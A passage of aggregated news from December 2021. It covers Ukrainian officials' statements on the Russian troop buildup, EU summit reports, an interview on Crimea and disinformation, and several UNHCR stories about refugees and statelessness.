western powers. But if the number of Russian troops increases, blackmail will become even more severe, which could then be seen as preparations for expanding aggression against our country and, possibly, the region as a whole. Ukraine sees no surprise in what is happening on our eastern borders. Russia started this war in 2014, and since then we have been ready for any scenario. Unfortunately, this cannot be applied to all European countries. For example, Germany has recently prevented us from receiving from NATO anti-drone rifles and anti-sniper systems, which are exclusively defensive tools. Are we not entitled to have them in the eighth year of war? Obviously, we are. Any democracy that protects itself from aggression should have the right to acquire such defense instruments. But in some capitals, fear still prevails. - Europe and the United States without delay condemned the Kremlin, again standing side by side with Kyiv. But if Russians decide to invade your country tomorrow, will the Ukrainian army be ready to resist them? - We will defend our land and our people under all circumstances and from any encroachments. Ukrainians will never give up their freedom. Meanwhile, Moscow may as well open a museum with a collection of various condemnations. Undoubtedly, we are grateful for the support, but collective efforts are not enough yet to get the Russian side not only to the predictable policy, which would be based on respect for international law and neighboring countries, but also to meaningful negotiations toward peace in the east of Ukraine. An example is one of the agreements of the Normandy summit in Paris in 2019, which is still not being implemented -- the agreement on held persons. Hundreds of our people are being held captive in the occupied territories, and Russia has made a clear promise to ensure full and unconditional access to them for international organizations. But this is not happening because Ukrainian prisoners are in such a terrible state that Russia cannot show them to the Red Cross. - Have you thought about the possible number of casualties on both sides in the event of war? - Precisely because we think about the possible number of casualties, we constantly insist on intensifying diplomacy. We do not resort to saber-rattling, we do not amass troops on the border, we do not take forceful steps towards the occupied territory of our state. During the war, we have already had about 15,000 dead. One and a half million Ukrainians were forced to flee their homes and became IDPs. If we talk about the price, not of local but of a wider conflict, it is clear that the death toll can be much higher. In particular, for Russians. Is Russian society ready to pay with the lives of its sons for the attempt to occupy another part of Ukraine? - Meanwhile, people are dying in Donbas. Why, after almost eight years, are there no changes in this conflict that would lead to peace? - Ukraine is ready to make all necessary efforts to make peace fair and lasting. This interview will turn into a thick book if I start listing all the proposals and efforts to intensify our talks that the Russian side has received from us throughout the war period. But it will only take a small paragraph to convey Russia's responses as they all boil down to their unwillingness to recognize themselves as a party to this war. Their role at the negotiating table is to insist that we talk to separatists in Donbas. But who are these separatists? In the occupied territories, everything is run by Russian officers and Russian government officials. - Now Vladimir Putin demands written guarantees, such as, for example, Kyiv's preventive refusal to join NATO. Would you be willing to abandon the idea in exchange for a guaranteed withdrawal of Russian troops from Ukraine's borders? - Our state has given up its share of the Soviet nuclear arsenal - the third largest in the world - and in return has received assurances, including from Russia, that our borders and our security will be respected. All this did not happen. So it is strange to hear the Russian side asking for any guarantees when so many promises have already been broken by the Russian side itself. - Do you think that the threats of "very tough economic sanctions" voiced by Joseph Biden are enough to stop Moscow? - After the American and Russian leaders held talks, there has been no reduction of the military grouping near our borders. Moreover, another space for escalation emerged, which is the Sea of Azov, where Russia has blocked 70% of the water area. When this starts to change, we will be able to say that the arguments sound convincing. - Don't you think that hindering the newly built Nord Stream 2 gas pipeline, which Moscow plans to use to ship 55 billion cubic meters of natural gas a year to Germany and other European countries, will be enough to put pressure on Vladimir Putin? - The very fact that Nord Stream 2 can hypothetically be put into operation is extremely destabilizing for our region. Russia is investing in various levers of pressure on European countries to make this pipeline work, which will mean the end of gas shipments through Ukraine. If this happens, the security of eastern and central Europe will collapse instantly. - You are currently conducting an active dialogue with EU leaders. What exactly do you expect from Europe and, in particular, from Italy? - Maybe someone is afraid of Ukraine's economic potential, but Italy and other countries will only benefit if Ukraine becomes a full-fledged member of the European community. The Italians have no less political weight in talking to Russia about peace in Europe than other countries already involved in the negotiation effort. Christmas is ahead -- and now is the time to try as much as possible to agree on a ceasefire, the release of prisoners, and the creation of conditions for the safe movement of people. I am confident that Italy can say its word, which will be heard in Moscow, and Vladimir Putin will not be able to ignore it. im President of the European Commission, Ursula von der Leyen, expressed readiness to strengthen and expand sanctions against Russia in the event of further aggression against Ukraine. The top official delivered the statement via Twitter, Ukrinform reports. "The EU fully supports Ukraine in the face of the Russian aggression. Any further aggressive acts against Ukraine will have massive costs for Russia. We can scale up and expand existing sanctions or adopt additional ones, if needed," she said. The EU fully supports Ukraine in the face of the Russian aggression. Any further aggressive acts against Ukraine will have massive costs for Russia. We can scale up and expand existing sanctions or adopt additional ones, if needed. pic.twitter.com/Ljz921MpJp Ursula von der Leyen (@vonderleyen) December 15, 2021 As reported earlier, the Eastern Partnership Summit will launch in Brussels at 16:00 on Wednesday, December 15, chaired by European Council President Charles Michel and European Commission President Ursula von der Leyen. The leaders of Azerbaijan, Armenia, Georgia, Moldova, and Ukraine will take part in the summit. Belarus has ceased participation in the Eastern Partnership, while the EU continues to work with Belarusian civil society. The participants in the summit will reaffirm their common commitment to the common values and fundamental principles of freedom and democracy, discuss progress of reform, ways to overcome current challenges, and outline priorities for the future of the Eastern Partnership program. The Euro Summit will begin tomorrow, December 16. On Thursday, 16 December, President of Ukraine Volodymyr Zelensky will visit NATO Headquarters in Brussels. im President of Ukraine Volodymyr Zelensky has met in Brussels with President of the European Council Charles Michel and expressed hope for ECs clear signals on the inadmissibility of the escalation on eastern borders of Ukraine. Coordinated positions with Charles Michel before the 6th Eastern Partnership Summit. Our goal is Ukraines full membership in the European Union. Informed about the situation on the eastern borders. We expect clear signals following the EU Council meeting on Dec 16 on the inadmissibility of escalation, Zelensky posted on Twitter. As the President's Office noted, during the meeting, the Head of State pointed out the importance of determining the strategic goals of the Eastern Partnership, in particular regarding the relations between the EU and the Associated Trio countries. Zelensky also stressed that Ukraine's strategic goal in relations with the European Union is the achievement of full membership, so Ukraine expects the EU to recognize its European prospects. Zelensky briefed Michel on the security situation along the borders of Ukraine. According to the President's Office, the leaders agreed with the need to continue making joint efforts to prevent the escalation of the conflict. Zelensky added that he expects the EU leaders to send clear signals to the Russian Federation following the European Council meeting on December 16. On December 15-16, President of Ukraine Volodymyr Zelensky makes a working visit to Brussels, where he will take part in the 6th Eastern Partnership Summit. Photo credit: President's Office ol President Volodymyr Zelensky proposed holding a summit with the leaders of Azerbaijan and Turkey in Kyiv in February 2022. Zelensky made the statement during a meeting with Azerbaijani President Ilham Aliyev in Brussels, Ukrinform reports citing the press service of the Ukrainian head of state. The president recalled the 30th anniversary of the establishment of diplomatic relations between Ukraine, Azerbaijan, and Turkey, set to be marked in February 2022. "In view of this, the President proposed that a summit be held in Kyiv in February with the participation of the leaders of the three states," the Presidents Office reported. Zelensky also focused on the transportation and logistical potential of cooperation between the countries, in particular on the need to intensify work on the transit of goods en route Europe - Caucasus - Asia via rail and sea transport. As Ukrinform reported earlier, on December 15-16, President Volodymyr Zelensky of Ukraine is on a working visit to Brussels, including to take part in the sixth Eastern Partnership Summit. Earlier, Foreign Minister Dmytro Kuleba said Turkish President Recep Tayyip Erdogan would be visiting Ukraine in early 2022. im Ukrainian President Volodymyr Zelensky has asked President of Azerbaijan Ilham Aliyev to consider joining the process of the release of Ukrainians illegally detained by Russia, including Crimean Tatars. He said this at a meeting with the Azerbaijani leader in Brussels on Wednesday, December 15, Ukrinform reports, citing the Ukrainian president's press service. "The issue of liberating Ukrainian citizens, especially Crimean Tatars, who are illegally detained in Russia, is one of my key priorities. I will be grateful to you for your possible assistance in resolving this issue," Zelensky said. He also thanked the president of Azerbaijan for supporting the sovereignty and territorial integrity of Ukraine. On November 26, Zelensky said he hoped that Turkish President Recep Tayyip Erdogan and U.S. President Joe Biden will help release Ukrainian prisoners of war and hostages illegally held in Russia. On December 10, Oleksiy Arestovych, spokesman for the Ukrainian delegation to the Trilateral Contact Group, said that the Ukrainian side offered three options for exchanging detainees - "13 for 13," "24 for 24" and "60 for 60," but Russia has rejected them so far. Photo: President's Office Roman Tsymbaliuk, UNIANs own correspondent in Moscow who is also Ukraines only journalist accredited in the Russian Federation, may be charged with extremism as several inquiries are set to be launched targeting him. Thats according to lawyer Mykola Polozov, Ukrinform reports. "The Russian government is so intolerant of any alternative opinion, except their own narratives, that they often go beyond common sense... The only Ukrainian journalist accredited in Russia, Roman Tsymbaliuk, seems to become outlawed in Russia. As usual, he is being accused of extremism. So far, they are going to initiate several administrative cases under Article 20.3.1 of the Code of Administrative Offenses of the Russian Federation (incitement to hate or enmity)," Polozov said. According to the lawyer, it is important to understand the specifics of Russian law. The line between administrative violations as regards extremism and criminal offenses in the same field is very thin, largely depending on experts, whose contribution to cases where certain political interest on the part of the authorities is present is very predictable. Many experts believe that these articles are vague, blurred, and "flexible," which allows imposing the norm on pretty much any circumstances," Polozov said. He stressed that an additional sign of a concerted attack on Tsymbaliuk was the latest spin across a number of fringe propaganda platforms of "various allegedly compromising reports, such as absurd allegations of espionage." "Anyway, Russian authorities are exerting pressure on a foreign journalist, in fact depriving him of his right to freedom of expression and professional activity. I believe that such actions against journalists are unacceptable and the authorities will have to bear responsibility for them in independent international courts," said Polozov. He added that he had agreed with Tsymbaliuk on representing his interests on all issues that "are of such interest to the Russian authorities." As reported, Roman Tsymbaliuk is a Ukrainian journalist, UNIAN's own correspondent in Russia. He is the only Ukrainian journalist accredited in Russia. Tsymbaliuk maintains a tough pro-Ukrainian stance, traditionally asking Russian politicians, including President Vladimir Putin, scathing questions and voicing bold statements in support of Ukraine on popular Russian TV panel shows. The journalist lives in Moscow. im Why wasnt Crimea on the mental map of Ukraine until 2014? Under what conditions will he return to its native Ukrainian harbor? What should be the communication with the inhabitants of the occupied peninsula now? Where do we find guidelines to fight disinformation? Find out this and more in an exclusive interview of famous Ukrainian publicist, a former resident of Crimea who moved to Kyiv in 2014 after the peninsulas occupation, winner of the 2020 Georgiy Gongadze prize Pavlo Kazarin for the Center for Strategic Communication. - We often hear something like What would our foreign partners say? And before, the popular question was What will Russia say? How long are we going to check in with someone? - We actually dont need to think about whether Ukraines domestic policies make the lives of Russian propagandists easier or harder. The experience of the last 8 years proves that Russia loves inventing stories about Ukraine. I remember how in 2016, if I'm not mistaken, the head of the Russian Security Council Nikolai Patrushev gave an interview to "Kommersant" and said, among other things, that we supposedly all remember how Madeleine Albright (former US Secretary of State) urged to take Siberia and the Far East away from Russia. We started checking it, and it turned out to be a fake which appeared back in 2006 when Rossiyskaya Gazeta (a print outlet of the Russian State Duma) published an interview with the former Federal Security Service General, Boris Ratnikov. Among other things, he said at the time that there were allegedly special units of psychics in the KGB, whose task was to connect to the subconscious of Western politicians. And in Madeleine Albright's subconscious, they learned about her plans to take Siberia and the Far East from Russia. And 10 years later, this absolutely tabloid-quality fake somehow emerged in the mind of an entire general, a person involved in decision-making on the use of nuclear weapons. In this context, the experience of recent years proves that if Russia does not get the stories it needs, it readily comes up with stories. And every time we are urged not to do something that makes life easier for Russian propaganda, we must understand that it will always be able to use anything, even stories that are completely made up. - There was recently a lively discussion in our media space about how a famous Ukrainian journalist shooting a cannon is different from an infamous Russian actor who fires a machine gun while sporting a Press vest, in terms of propaganda. A la guerre comme a la guerre? Even when its a hybrid war? - It would be incorrect to compare the video involving Yurii Butusov with that showing Mikhail Porechenkov because the latter violated the border and arrived in the territories occupied by his countrys troops. And there, he took up a weapon and fired at the positions of the Ukrainian Army. This is one case. From Butusovs video, it is unclear where he is, at the frontline or at a military training site. Still, I believe he did a very reckless thing. We know that in 2015-2017, when journalists and volunteers would come to the positions of the Ukrainian military, they were sometimes allowed to try their hand at weapons, because it was the only way the military could thank them. There is something else that scares me the fact that in Ukraine, the Butusov case may be used to restrict access of volunteers to the front line or journalists to frontline positions. I just wish that this case doesnt harm the synergy of the Ukrainian military with Ukrainian volunteers and journalists. Therefore, if I were Butusov, I wouldnt have posted such a video. - At its peak, the so-called Crimea consensus reached 86%. When Crimea returns to its native Ukrainian harbor, what is going to happen to this consensus? Will Russians just let this go, as they did with the reset of the presidential term? - I think Ukrainian flags will only return to the territory of the peninsula in the event of tectonic shifts. Its like in the 1980s, when to the question of what should happen for Lithuania to restore its independence? the only answer was a collapse of the Soviet Union. Similarly, in order for Russia to renounce its encroachments on the Ukrainian peninsula, tectonic changes are needed in Russia itself, in the circumstances of its daily life, including very significant rotations in its political elites. We can hardly imagine the scope of these shifts and changes. Or its when the window of opportunity for Ukrainian flags to return to the Crimea will open. The scale of these shifts will be so large that at that time, any talks about the "Crimea consensus," about the attitudes on the peninsula, the attitudes of the people who elect the president in Russia, and their priorities will be completely irrelevant. This may be a situation like another 1991, when centrifugal tendencies will dominate over centralizing ones in Russia. - So its basically, when, say, Yakutia will claim they can live a better life off its diamonds rather than they do now, with Moscow at the helm, and Russians will no longer care about Crimea? - The thing is, to open up a window of opportunity for Ukrainian flags to come back to Crimea, we need such large transformations and turbulence to occur in Russia itself that all our current observations will be irrelevant at that moment. Imagine that the year is 1984, and we are discussing whether there will be a window of opportunity for Ukraine to become an independent state. At that time, there were no grounds for such predictions, nor any basis on which we could rely. This basis only emerged in five to six years, in 19891991. The situation is the same with Crimea. When the window of opportunity opens, Russian citizens, and possibly residents of the Crimean Peninsula, will have entirely different attitudes and priorities. Perhaps, they will be focusing too much on the lower tier of the Maslow pyramid, something connected with survival, security, food, and these things will be such a priority at that moment that they will accept any institutional player who will be able to satisfy their needs. If it is Ukraine, perhaps they will applaud the return of our flags. - So, we are talking about the fridge winning over? - Not necessarily the fridge, but perhaps warmth, safety, heating, electricity, etc. In the current conditions, when nothing is happening in Russia that calls into question its institutional stability, there will be no window of opportunity for the return of Ukrainian flags to the territory of Crimea. And when it appears, it will be a thoroughly different Russia, a completely different world, different conditions. And it is difficult to say whether we will even mention the same "Crimean consensus" at that moment. In any case, if we want the Ukrainian flags to ever return to the territory of the peninsula, we just need to grow muscles, ensure our agency, develop our own strategy, and work out scenarios. In that case, we will be proactively involved rather than leave it to somebody else to have agency. - By the way, how do you feel about the phrase of the famous Russian opposition politician that Crimea is not a sandwich to be handed over back and forth? Apparently, Navalny is apparently no harbinger of that tectonic shift we were talking about, but such an attitude is out there... - After the annexation of Crimea, the Kremlin put the Russian opposition between a rock and a hard place: if you say that Crimea is Russian, you will most likely be, to put it mildly, misunderstood in the West. And if you say that Crimea should be returned to Ukraine, you will never be able to claim any votes in Russia. So, every politician made their own choice. Some focused on values, saying that Crimea is occupied, but that meant consciously giving up on any electoral prospects in Russia. At that time, Alexei Navalny probably hoped he had some opportunities to compete for the people's love in Russia. So, he made a different choice to make sure this political plane remains available to him. But now, his political career in Russia is over. As long as Vladimir Putin, not even the very person but rather Putin as an idea, continues to lead Russia, there is no place for Navalny in this political solitaire. His only opportunity would come in the same conditions that would create a window of opportunity for returning Crimea to Ukraine. That means global tectonic shifts, turbulence, and perhaps even chaos. - The problem is that the idea of Putin will remain, and there is no idea of Navalny in Russia yet... - Perhaps, Navalny does want to take the same journey as some high-profile dissidents, who had long been main enemies of the regime. And then, in the end, under certain circumstances, they were able to make it to the top of politics. But whether this forecast will be justified for Russia, we'll see later. - Until 2014, wasnt Crimea for the rest of Ukraine indeed a distant peninsula that was only remembered during summer seasons? - There are political maps, and then there are mental maps. There are various cities and regions on the Ukrainian mental map: Kyiv as capital, ancient Chernihiv, Lviv as a political assembly site, Poltava as the Motherland of the Ukrainian literary language... The list can go on, but I believe that Crimea was barely reflected on the Ukrainian mental map. It was only there as a vague sketch. How did mainland Ukrainians see Crimea? A Russian-speaking region where you could travel for a few weeks in summer. At the same time, Crimea was included in the Russian mental map as part of Russias grand imperial myth, as a summer residence of Russian tzars, poets, and writers, as a region with two hero cities, Kerch and Sevastopol, with their heroic defense stories. And when your mental map is smaller than the political one, it means you stop paying attention to a region in particular, political attention. This was actually the case before 2014, when Kyiv was ready to accept that Crimea is a sort of a Soviet electoral reserve, so it was left out for pro-Russian forces such as the Party of Regions and the Communist Party to use it as they pleased. - This is also a kind of a Crimea consensus - Unfortunately, it is. There have even been no attempts to fight for Crimea. And when the mental map is larger than the political one, as it is in Russia with its imperial phantom pains, it provokes a demand for seizing new territories, a political presence in regions belonging to other countries. That is why Russia's presence on the peninsula was very significant and tangible. They invested not only in their political projects, but also in some humanitarian ones: in Sevastopol, Russian money paid for new homes built in the city, while scientific conferences were held based on the values of the "Russian World" concept. This is an important lesson that we need to remember and never allow to happen again: for a region to feel isolated and discarded. Thats what just mustnt happen again. The experience of Crimea has taught us what this may lead to. Thirty years into the return of Crimean Tatars from regions theyd been deported to, they took a long journey to assert their place in the peninsula only to see it being captured by the aggressor power. Don't you think that another political nation is being forged now (given the large number of political prisoners, living symbols of resistance, such as Mustafa Dzhemilev)? And neither Ukraine nor Russia can predict what this may result in... There are several issues we can bring up in this context. When Crimean Tatars returned at the end of the 1980s and in the early 1990s, they had to seize land plots as they saw no interest on behalf of local authorities to address their urgent needs. In particular, they were not provided land so they were forced to build their homes on unregistered plots as the authorities never accommodated them. In addition, the authorities were often very Tatar-phobic, which is a separate case. And yes, this is a separate nation, one of the indigenous peoples of Ukraine. They have their own tragic experience in the 20th century, which doomed them in particular to creating their own national movement and becoming the most anti-Soviet group in the most pro-Soviet region of Ukraine. Crimean Tatars have always been a separate nation with their own cultural and religious features and experience of horizontal cohesion. This experience allowed them to survive despite the indifference of Kyiv authorities and the hostility of local officials in Simferopol from 1991 to 2014. And now, the experience of developed horizontal ties makes them the only entity in the occupied Crimea that Russia is trying to oppress. They are a separate nation, and it is clear that they have been valid political actors, long before 2014. - Recently, Turkish President Erdogan said he was ready to mediate in the talks between Russia and Ukraine. Why would he need this? Can a Turkey card be played in these tectonic shifts? - Turkey undoubtedly sees itself as a powerful regional force with serious ambitions. And Ankara probably also has its own idea of the "Turkish world," its borders, and how it wants to influence this world. And the fact that this player seeks, in particular, to play an increasing role in the region, namely to offer their services within diplomatic platforms, makes a lot of sense. And the fact that Russia has turned down the offer makes sense as well. See, if Moscow agreed to diplomatic moderation on the part of Ankara, Russia would recognize itself as party to the conflict, something theyve repeatedly denied since 2014. That is why they refuse any mediation offers. - What is your idea of communication with the residents of the occupied Crimea now? We even speak different languages... - First, communication with Crimea residents should definitely be in Russian. No matter what anyone says, it's a matter of efficiency. Secondly, it should be understood that in both the occupied Donbas and the occupied peninsula, Russia has created its own information monopoly, banning all other resources, alternative views, and even those Russian media outlets that at least tried to play by the rules of their profession. Now, we can supply the bare minimum of necessary information to the peninsula, but we need to formulate the strategy and objectives we seek to achieve. If we dont know to which port we are sailing, no wind is favorable. I sometimes get the feeling that Ukraine has no state strategy of its own, and that is why information holes are patched up, for example, by Radio Svoboda projects such as Krym. Realii or Donbas. Realii... - There was this comment under one of your recent posts about a trip to Kharkiv: Your associative lines of Kharkiv a post in Russian a book in Russian is just savage! By doing so, you are only emphasizing your position on bilingual Ukraine. Shame on you You answered with humor Seriously? But speaking seriously, what is your position on bilingual Ukraine? Based on that comment, we are still looking at this issue that way. - I think this is no longer an issue. There is already a consensus in Ukraine that there can be only one state language, Ukrainian, and that civil servants should speak in this language. There are certain rules for broadcasters, TV channels, and all media regarding the presence of state and other languages on the air. This comment seemed very strange because I am not a civil servant, and my Facebook page is not an official communication channel. It's just an attempt to see a black cat in a dark room when it's not there. Yet, we need to understand that theres a certain number of people in our country who do understand Ukrainian but consume content in Russian. Actually, it became very noticeable during the pandemic. Vaccination propaganda of our Ministry of Health was, of course, in Ukrainian, and these people do not perceive content in Ukrainian all too well. It may be a matter of habit, political loyalty or disloyalty, but thats just the way it is. If we want to reach out to them, we might need to make some content on vaccination in Russian. Is Ukraine ready to promote Russian-language vaccination content paid for by government? We need to make this decision. But it is this category of people who are most vulnerable to Russian propaganda because it produces content targeting them, in Russian the same language they use to consume news and other content about the realities around them. - Once Ilmi Umerov had this apt phrase to describe his not so much political but rather personal shock of that time: I started to grieve my father in Ukraine and finished in Russia. What shocked you the most during the so-called "Crimean Spring"? The theatrical nature of what was happening? The polite people? Our security officers? Attitudes of the local population? Anything personal? - For me, 2014 was a year of very significant transformations, destruction of illusions. Before the so-called "Crimean Spring," I was a person with a purely regional identity. When asked who I was, my first answer was that I was a Crimean, and it was only then followed by a citizen of Ukraine. And after all these events, my civic identity came first, and regional, on the contrary, ceased to be significant. In 2014, I was also struck by the fact that I happened to live inside history, when at one point I realized that its wheels began to spin around me with a crunch. And I began to realize that I had not seen anything like this in all the previous 20 years, that a political nation was being born before my eyes, the contours and outlines of the modern world were changing. That I was living in a period and close to people whose names will be given to streets, will be printed, perhaps once on Ukrainian money, and who will stand on Ukrainian pedestals. And that was the moment when you realized that you were living, perhaps, in the period of the highest agency of your own state. At the same time, it was a very dramatic period, and sometimes it seems to me that our children will even envy us. - Fighting against fake news and disinformation, domestic, Russian, and COVID-related... Where is Ukraine winning, and where is it losing? How do we make Ukrainians less vulnerable to this infodemic? - This is a complicated story because it is actually a combination of several factors. In the last 15 years, the media have been in crisis because the Internet and social networks have deprived them of their role as a sole intermediary between those who produce content and those who consume it. Previously, if you wanted to convey something to someone, you had no choice but to reach out to a media outlet and prove that your opinion has a right to exist. And now, social networks have greatly facilitated access to the audience. This also applies to countries abusing propaganda, such as Russia. I am not very confident that we can defeat Russia in a linear information confrontation because they spend more than a billion dollars a year on propaganda and content. This is an amount we cannot afford. And the entire civilized world is now facing the problem of countering fake news and propaganda, particularly the one being circulated across social media. And no country can say it has found the solution: like, take our playbook and follow these steps. The playbooks are available in specific narrow sectors: building an effective economy, effective justice, effective law enforcement... That's where we can listen to the advice because there are achievements in those spheres. On the contrary, no country has a success story in countering fake news. And that is why Ukraine is at the forefront. And perhaps, one day, someone will publish a handbook on building a system of countering propaganda based on our experience. But now, Ukraine is in the middle of this process, and neither we nor our partners know an unequivocal answer as to what it should look like. We learn as we go. Center for Strategic Communication and Information Security Photos by Ukrinform, UA:PBC, K The Cabinet of Ministers has extended a so-called adaptive quarantine in Ukraine until March 31, 2022, as it believes this will help combat the COVID-19 pandemic and protect human health as effectively as possible. According to Ukrinform, Ukrainian Prime Minister Denys Shmyhal wrote this on his Facebook page, commenting on the government's decision. "An adaptive quarantine has been extended until March 31, 2022. This will help to fight the pandemic as effectively as possible and protect human health. All rules regarding access to public places with COVID certificates, wearing masks and social distancing remain in force," Shmyhal wrote. He also said that more than 40% of adult Ukrainians have been vaccinated for COVID-19. He believes that vaccination can stop the pandemic. "At the same time, until the vaccination rate in Ukraine reaches 70% of the adult population, we must continue to comply with established quarantine restrictions," he added. Shmyhal said at a meeting of the Cabinet of Ministers on Wednesday, December 15, that the government had extended the adaptive quarantine until March 31, 2022. Since the beginning of the vaccination campaign, 14,221,538 people have been vaccinated in Ukraine, and 12,640,221 have been fully inoculated. A total of 26,861,757 COVID-19 jabs have been given in Ukraine so far. op UNHCR/Elyor Nematov On 15 December 2021, the UN Refugee Agency, UNHCR, trucked humanitarian goods from Termez, Uzbekistan, to Afghanistan. The delivery is part of UNHCRs aid effort to Afghanistan and a massive operation to provide life-saving aid to the people of Afghanistan. The consignments were sent from UNHCRs humanitarian hub established in the Termez Cargo Centre with support of the Government of Uzbekistan. Located less than two kilometers from the Uzbekistan-Afghanistan border, the Termez Cargo Centre in southern Uzbekistan is a key part of UNHCRs efforts to secure humanitarian assistance to the Afghan people. Humanitarian supplies include approximately 40 tons of core relief items, such as kitchen sets and plastic sheets. Delivered to Termez by air and land in October-November 2021, these good have now been trucked to Afghanistan to replenish stocks held locally and to respond to emerging needs. We appreciate the ongoing support of the Uzbek Government and local partners in Termez enabling UNHCR to provide quick humanitarian assistance when it is needed the most. Now when millions of Afghans face food insecurity and are extremely vulnerable surviving the harsh winter, urgent help is required to save lives and prevent humanitarian crisis, said Mr Frank Remus, UNHCR Senior Liaison Officer. UNHCR pre-positioned humanitarian supplies at Termez as part of its overall emergency response and preparedness strategy for the region. In addition to holding a contingency stockpile of UNHCR core relief items, the Termez hub also serves as the main consolidation and transfer point to deliver material assistance to UNHCRs operations in Afghanistan, Iran and Central Asia. Accordingly, regular consignments of humanitarian supplies will be sent through Termez for the duration of UNHCRs response to the Afghanistan emergency. For more information on this topic, please contact: Yelena Sim, [email protected], +7 701 993 67 43 Share on Facebook Share on Twitter This statement is attributable to Matthew Reynolds, UNHCR representative to the United States and the Northern Caribbean UNHCR, the UN Refugee Agency, is deeply gratified by the U.S. governments pledge to adopt a formal definition of statelessness and for the first time to develop an official process to identify and protect stateless individuals in the United States who are not recognized as a national by any country in the world. The U.S. commitment to address the situation of stateless individuals in the United States offers real hope both in the United States and globally to stateless people who have been forced to live in the shadows and place their lives on hold simply because they have been deprived of a nationality and many of the basic rights that nationality automatically confers. The U.S. acknowledgment of, and pledge to work to resolve, challenges and obstacles faced by stateless individuals in the United States, is a significant practical milestone and a tangible example of leadership demonstrating commitment to the conviction that every person belongs. UNHCR stands ready to support the U.S. as it begins to implement these commitments. To learn more about statelessness and UNHCRs campaign to end it worldwide by 2024, please visit the UNHCR #IBelong campaign website. For more information please contact: In Washington: Chris Boian, [email protected], +1 202 243 7634 Bonisiwe looks out the window of the one-room shack she shares with three of her sons in Mamelodi township near Pretoria, South Africa. UNHCR/Helene Caux Bonisiwe is plagued by a recurring nightmare about Sipho, a knife-wielding ex-partner who subjected her and their toddler to years of psychological and physical abuse. Twenty years have passed since the harrowing experience, but the memories are still fresh. I remember it like it was yesterday, whispers the 52-year-old as she recounts how Sipho would return home in a bad mood, finding fault in everything she did. He would slap me so hard it would send me reeling. Then he would punch me and throw me to the floor, she adds. The last time he attacked her, he drew out a knife. That was her cue to strap baby Sphamandla to her back and flee into the night. They spent that night under a broken-down truck in a nearby scrapyard. Bonisiwe has spent most of her adult life going from one abusive relationship to another a vicious cycle she attributes to her lack of identity documents and the fact that she does not legally exist. She was born to a sickly single mother in KwaMashu township, in Durban. Her mother did not register her birth and wasnt able to put her through school. After two years in primary school I had to drop out so I could take care of my sick mother. We had nothing and relied on our neighbours, she says. He would slap me so hard ...then he would punch me and throw me to the floor. At 17, she had her first abusive relationship with a 30-year-old man and had a son with him, Mthokozisi. He called me an illiterate fool and said that no man would want me because I was ugly, and he was doing me a favour, she adds. Her situation mirrors that of thousands of women in South Africa and around the world. Bonisiwe, 52, and her sons Bhutinyana, 13, and Mthokozisi, 35, stand in front of the one-room shack they share in Mamelodi township near Pretoria, South Africa. UNHCR/Helene Caux Bonisiwe goes to collect water at a neighbour's tap in Mamelodi township near Pretoria, South Africa. UNHCR/Helene Caux Bonisiwe collects water at a neighbour's tap in Mamelodi township near Pretoria, South Africa. UNHCR/Helene Caux One in three women worldwide experience physical, psychological and sexual violence mostly inflicted by an intimate partner, according to UN Women. The situation is worse for undocumented women like Bonisiwe, as they are often reluctant to report abuse to law enforcement for fear of arrest, discrimination, and further ill-treatment. Without proof of identity which would confirm their nationality, they lack access to protection measures of the government where they live, and the legal recourse that someone with a national ID could avail themselves of. In South Africa, UNHCR, the UN Refugee Agency, is strongly advocating for addressing the root causes of gender-based violence (GBV), with one of them being lack of documentation. Each cruel word, slap or punch is damaging, and the impact of lacking documentation is far-reaching, says Laura Buffoni, UNHCRs Senior Community-Based Protection Officer based in Pretoria. Bonisiwe admits that she had no choice but to stay with her sons abusive father as he was supporting them. She eventually left with then two-year-old Mthokozisi and moved to Pretoria to live with a cousin. I hoped to find opportunities for a better life and assumed I would have a better chance of obtaining legal documents, she explains. Instead, her life was fraught with frustration and disappointment. She soon fell out with her cousin, who kicked them out and she eventually ended up in another abusive relationship. By 2018, Bonisiwe had five children from different fathers. Her situation came to the attention of community social workers in Mamelodi, the township in Pretoria where she lives. She was very traumatized, says Nomsa, one of the social workers handling her case. Her inability to acquire a birth certificate has only made life worse. UNHCRs legal partner, Lawyers for Human Rights (LHR), launched its Statelessness Unit in 2011 after seeing an increase in the number of clients needing legal advice on access to nationality. Through direct legal assistance, strategic litigation, advocacy, and training, LHR has equipped community social workers with critical information, legal processes, and procedures to help their clients. We have accompanied Bonisiwe eight times to the Department of Home Affairs (DHA) in Pretoria and Durban, where she is required to apply for late registration of birth (LRB), adds Nomsa, noting that the process has been extremely challenging. For Bonisiwe to prove her claim to South African nationality, she needs to submit several documents that include a notice of birth form, a justification for LRB, her biometric details and her parents fingerprints and identity documents an uphill task as she can only provide a signed letter from the local traditional authority confirming her birth and she has no family member she can take a DNA test with to prove her identity. I have tried everything. I am stuck. I just feel like giving up, cries Bonisiwe, who has contemplated suicide. I hope to get documentation one day so I can live with dignity. Nomsa emphasizes that their office has not given up. We will continue working with Bonisiwe and encourage her to see the process through, she says. UNHCRs Buffoni notes that such collective and concerted efforts to address the prevalent issue can help shield women from the risk of abuse and violence. We urge the Government to pay special attention to this situation because it can turn it around, she says. Bonisiwe currently lives with three of her sons in a cramped one-room shack and depends on her two older sons, Mthokozisi and Sphamandla, who work odd jobs. Life is tough, but Ill be okay, she says. I hope to get documentation one day so I can live with dignity. I named my shop PenTool because it is the name of the most difficult graphic design and illustration tool, and I wanted everybody to know that I can do the most difficult things, proudly explains Qamar, a 32-year-old Syrian woman from Aleppo, now living in Sanlurfa, Turkey. She opened her shop the first and only such shop in the neighbourhood only four months ago where she is currently the only employee, but PenTool has already become a popular place for Turkish and Syrian neighbours and those coming from other districts of Sanlurfa. Qamar, a mother of two, arrived in Turkey with her family in the wintry January of 2018. Before the conflict started in Syria, she was pursuing her studies in Law and looking forward to obtaining her masters degree at the University of Aleppo to become a Law teacher. Just like millions of other Syrians, the conflict abruptly suspended Qamars dream and left her with no choice but to quit her studies. Over the years of the conflict, Qamars family continued to refuse to relocate from Old Aleppo, until late 2017 when the attacks intensified to the extent that they no longer felt safe in their house. At that moment, they took the hardest decision of their lives: They packed their most treasured belongings and left the neighbourhood only minutes before their house was bombarded. Qamars family sought refuge in Turkey. Soon after their arrival, they were granted temporary protection status by the Turkish authorities and were able to find a safe, second home in Sanlurfa. I want to return to Aleppo. But I also love Sanlurfa because I have started a new life here, says a smiling Qamar. Qamar brought with her to Sanlurfa her persevering curiosity. Thanks to the support of a local non-governmental organization called Avaz, she could attend a vocational course in robotic coding and graphic design, thus discovering her creative artistic side. The course that Qamar completed had Turkish students as well, which helped her to socialize with the community. Initially, she created an account on Instagram to showcase her designs, 